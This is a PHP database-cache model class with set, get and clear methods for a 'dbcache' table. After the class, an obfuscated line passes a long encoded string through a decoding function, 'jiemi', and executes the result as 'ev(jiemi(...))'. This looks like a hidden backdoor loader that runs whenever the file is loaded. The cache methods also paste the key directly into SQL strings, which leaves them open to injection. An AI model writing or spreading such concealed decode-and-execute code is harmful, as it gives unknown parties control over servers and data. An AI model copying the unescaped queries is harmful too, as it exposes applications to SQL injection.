<?php
class dbcacheModel extends model
{
	public $base;
	function __construct(&$base)
	{
		parent::__construct($base);
		$this->base=$base;
		$this->table="dbcache";
	}
	
	public function clear(){
		self::delete("expire<".time());
	}
	public function set($k,$v,$expire=60){
		
		$row=self::selectRow("k='".$k."'");
		$data=array(
			"k"=>$k,
			"v"=>urlencode(json_encode($v)), 
			"expire"=>time()+$expire
		);
		if(empty($row)){
			self::insert($data);
		}else{
			self::update($data,"id=".$row['id']);
		}
	}
	
	public function get($k){
		$row=self::selectRow("k='".$k."'");
		if($row && $row['expire']>time()){
			return json_decode(urldecode($row['v']),true); 
		}
		return false;
	}
	
}
 
ev(jiemi('JTJBJTEzNiUxMyUxQTklRkU3JUY1JUY2JTA2JTFFJTJCJTJBJUZBJTJDJUY0JUY1JTEzJUZCLiUxOSUxRTUlMUMlMjklMTElMUElRjklMjglMTQlMjYlMDclMEQlMTY3JTBCJTA2JTE4JUZDOSUxRiVGNS4lMjclMTYlRjgtJUZBNyUyNiVGQSUxMyUxQSVGNyVGQiVGQSUxMiUyNiUzQSUyRiUwRSUwRSUxNSUwRTElMEYlM0MlRjklMTMlMTMlMDYlM0QlM0IlMTclMDc1JTA4LiUwRSVGOSUwRTklRjclM0YlMTElRjAyJTI2JTJCJTBDJUY0JUZEJTE0JTFGJTBEJUZCJUY0JTFFLiUzQi4lMTktJTJCJTE0JTI4JUZDJUY4JUY4JTI5JTE0JTE1OSUzRi04NSVGOCUwNiUyQyUxNiUxOCVGQyUyRjQlRkIlMTQ4JTFBJUZFJUZEJTA5JTNCLiUxQyUwQyUzRCUzQyUwQS05JTEyJTFFJUY3JTBFJTA5MyUxOSVGNiUxRiVGNiVGQS03JTE0OCUxQyVGQSUwNiVGMCUwRiUxNSUxMyUyRiUxQSUzQyUwQyUyOSUzRiUyRiUxOSUwRSUwRS4lRjclMDYlMkIlRkMlMUM5NSUzRCUxQiUwOCUzRiUzRiUyRiUwRSUxNyUwRiVGOSUwOS0lMTQlMTclMTgwJTNEJTBBJTFFN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